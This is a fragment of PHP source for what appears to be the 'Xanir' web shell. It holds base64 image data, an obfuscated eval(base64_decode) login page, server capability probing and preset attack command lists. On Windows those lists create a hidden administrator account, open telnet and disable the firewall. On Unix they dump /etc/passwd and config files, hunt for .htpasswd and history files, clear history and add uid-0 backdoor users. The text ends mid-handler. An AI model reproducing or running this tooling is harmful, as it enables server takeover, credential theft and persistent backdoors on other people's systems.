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';
 $images[4]='R0lGODlhEwAQAPcAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAEwAQAAAIYgABCBxIsKDBgwgTKiwooGHDhQIFHChQgAABAQsFDNjIcYBDhwwpihxJkcCAkBZTqiRg4CRBARVXspzpciBMmRYNsKwZMWZKnUBNolwZtOXQmUWNvixQFKkBpTY7Su0IcWFAADs=';
 @ob_clean();
 header("Content-type: image/gif");
 echo base64_decode($images[$_GET['img']]);
 die();
}
echo eval(base64_decode('aWYgKCRMb2dpbkZvcm1bJ3VzZXJfQXRoZW4nXSA9PSBmYWxzZSl7DQplY2hvICRoZWFkOw0KZWNobyAnPC9oZWFkPjxib2R5IHN0eWxlPSJtYXJnaW4tdG9wOiAxMCU7Ij4nOw0KJExvZ2luRm9ybVsndXNlcl9jb2RlVmVyaWZpY2F0aW9uJ109bXRfcmFuZCgwLCB0aW1lKCkvMTAwMCk7DQplY2hvICc8Zm9ybSBhY3Rpb249JyAuICRfU0VSVkVSWyJQSFBfU0VMRiJdIC4gJyBtZXRob2Q9IlBPU1QiPic7DQplY2hvICc8dGFibGUgYWxpZ249Y2VudGVyIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyIgPic7DQplY2hvICc8dHI+PHRkIGFsaWduPSJsZWZ0IiBjb2xzcGFuPTIgYmdjb2xvcj0iIzY2NjY2NiI+PGxhYmVsPicgLiAkTG9naW5Gb3JtWyd1c2VyX2VycmV1ciddIC4gJzwvbGFiZWw+PC90ZD48L3RyPic7DQplY2hvICc8dHI+DQogICA8dGQgYmdjb2xvcj0iIzgwODA4MCI+IDxsYWJlbD4gTG9naW4gPC9sYWJlbD4gPC90ZD4NCiAgIDx0ZCBiZ2NvbG9yPSIjODA4MDgwIj4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJfbmFtZSIgbWF4bGVuZ2h0PTEwPiA8L3RkPg0KPC90cj4NCjx0cj4NCiAgIDx0ZCBiZ2NvbG9yPSIjNjY2NjY2Ij4gPGxhYmVsPiBQYXNzd29yZCA8L2xhYmVsPiA8L3RkPg0KICAgPHRkIGJnY29sb3I9IiM2NjY2NjYiPiA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InVzZXJfcGFzc3dyZCIgPiA8L3RkPg0KPC90cj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXJfY29kZVZlclBvc3QiIHZhbHVlPSInLiAkTG9naW5Gb3JtWyd1c2VyX2NvZGVWZXJpZmljYXRpb24nXSAuICciPiA8L3RkPg0KPHRyPg0KICAgPHRkIGJnY29sb3I9IiM4MDgwODAiPiA8bGFiZWw+Jy4gJExvZ2luRm9ybVsndXNlcl9jb2RlVmVyaWZpY2F0aW9uJ10gLiAnPC9sYWJlbD4gPC90ZD4NCiAgIDx0ZCBiZ2NvbG9yPSIjODA4MDgwIj4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJfY29kZVZlciIgPiA8L3RkPg0KPC90cj4NCjx0cj4NCiAgIDx0ZCBiZ2NvbG9yPSIjNjY2NjY2IiBjb2xzcGFuPTIgYWxpZ249InJpZ2h0Ij4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9InZhbGlkZXIiIG5hbWU9InVzZXJfbG9naW4iPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxicj48YnI+IDx0YWJsZSBhbGlnbj1jZW50ZXIgc3R5bGU9ImJvcmRlcjowOyI+PHRyIGJnY29sb3I9IiMxMTExMTEiPjx0ZD48bm9zY3JpcHQ+PGxhYmVsIHN0eWxlPSJjb2xvcjogI2MwYzBjMCI+PHU+V0FSTklORyE8L3U+PGJyPjxicj4gIG15IGJlIGphdmFzY3JpcHQgaXMgZGlzYWJsZWQhLCBmb3IgdXNlIGFsbCBmdW5jdGlvbmFsaXR5IG9mIFhhbmlyLCBhY3RpdmUgaXQuIDwvbGFiZWw+PC9ub3NjcmlwdD48L3RkPjwvdHI+PC90YWJsZT4NCjwvYm9keT4NCjwvaHRtbD4nOw0KZXhpdCgpOw0KfQ0KDQoNCg=='));
$safe_mode = @ini_get('safe_mode');
$sort_default = "0a";
if(version_compare(phpversion(), '4.1.0') == -1)
 {
 $_POST   = &$HTTP_POST_VARS;
 $_GET    = &$HTTP_GET_VARS;
 $_SERVER = &$HTTP_SERVER_VARS;
 }
if (@get_magic_quotes_gpc())
 {
 foreach ($_POST as $k=>$v)
  {
  $_POST[$k] = stripslashes($v);
  }
 foreach ($_SERVER as $k=>$v)
  {
  $_SERVER[$k] = stripslashes($v);
  }
 }
if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$ust_u.="mod_perl";}
if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$ust_u.=", mod_include(SSI)";}
if (@function_exists('pcntl_exec')) {$ust_u.=", pcntl_exec";}
if (@extension_loaded('win32std')) {$ust_u.=", win32std_loaded";}
if (@extension_loaded('win32service')) {$ust_u.=", win32service_loaded";}
if (@extension_loaded('ffi')) {$ust_u.=", ffi_loaded";}
if (@extension_loaded('perl')) {$ust_u.=", perl_loaded";}
if (substr($ust_u,0,1)==",") {$ust_u[0]="";}
if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {$ust_d.="mod_security";}
if (isset($surl_autofill_include)) {
  $include = "&";
  foreach (explode("&",getenv("QUERY_STRING")) as $v) {
    $v = explode("=",$v);
    $name = urldecode($v[0]);
    $value = @urldecode($v[1]);
    foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
      if (strpos($value,$needle) === 0) {
        $includestr .= urlencode($name)."=".urlencode($value)."&";
      }
    }
  }
}
if (empty($surl)) {
  $surl = "?".$includestr;
  $surl = htmlspecialchars($surl);
}
$dir = @getcwd();
$windows = 0;
$unix = 0;
if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1;
if(isset($_POST['list'])){
(!empty($_POST['list']))?($cmd = $_POST['list']):(die());
$winlist = array('dir','dir /a','net user','net user Xanir 123456 /add','net localgroup','net localgroup administrators Xanir /add','net accounts','netstat','netstat -an','netstat -ano','net start','net start "Terminal Services"','net start telnet','net view','netsh firewall show config','netsh firewall','set opmode disable','netsh firewall add portopening TCP 23 telnet','netsh firewall delete portopening TCP 23','netsh firewall set service type = remotedesktop mode = enable','sc config tlntsvr start= auto','ver','mem','mkdir','md','rmdir','rd','ping','time','rename','ren','print','echo','path','mouv','help','erase','del','date','copy','type','type c:\boot.ini','tasklist','taskkill','taskkill /f /im','taskkill /pid','perl');
$unixlist = array('time','sleep','compress','uncompress','ping','ifconfig','nslookup','who','whoami','id','finger','grep','cp','mv','mkdir','rmdir','rm','rm -R','chmod','chmod -R 777','chown','help','info','man','locate','file','type','echo','echo $PATH','echo $HOME','PATH','PATH=$PATH:$HOME','history','history -c','uname','uname -a','uname -r','apt-get','pwd','uname','uname -a','uname -r','ls','ls /var/named','ls -la','ls -la /etc/valiases','cat','cat /etc/passwd','cat /var/cpanel/accountinglog','cat /etc/init.d/apache','cat /etc/init.d/apache2','cat /etc/httpd/httpd.conf','cat /etc/apache/apache.conf','cat /etc/apache/httpd.conf','cat /etc/apache2/apache2.conf','cat /etc/apache2/httpd.conf','cat /usr/local/apache2/conf/httpd.conf','cat /usr/local/apache/conf/httpd.conf','cat /opt/apache/conf/httpd.conf','cat /home/apache/httpd.conf','cat /home/apache/conf/httpd.conf','cat /etc/apache2/sites-available/default','cat /etc/apache2/vhosts.d/default_vhost.include','cat /etc/httpd/conf.d/php.conf','cat /etc/httpd/conf/httpd.conf','cat /etc/httpd.conf','cat /var/log/apache/error_log','cat /var/log/httpd/error_log','cat /usr/local/apache/logs/error_log','cat /etc/syslog.conf','cat /var/cpanel/accounting.log','cat /proc/version','sysctl -a | grep version','cat /proc/cpuinfo','local','locate httpd.conf','netstat -an | grep -i listen','ps','ps -aux','kill','kill -9','find / -type f -name "config*"','find / -type f -name config.inc.php','find / -type f -name service.pwd','find / -type f -name .htpasswd','find / -type f -name .bash_history','find / -type f -name .mysql_history','wget','tar xvzf','tar -xzf','perl','touch','touch -t MMjjhhmm','yum','yum install','service','service sshd restart','useradd','useradd -o -u 0 -g 0 Xanir','adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M Xanir','adduser user -G wheel','chsh -s /bin/sh Xanir','gcc -o back back.c');
if($windows){$cmdlist = $winlist;}else{$cmdlist = $unixlist;}
header('Content-Type: text/xml;charset=utf-8');
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
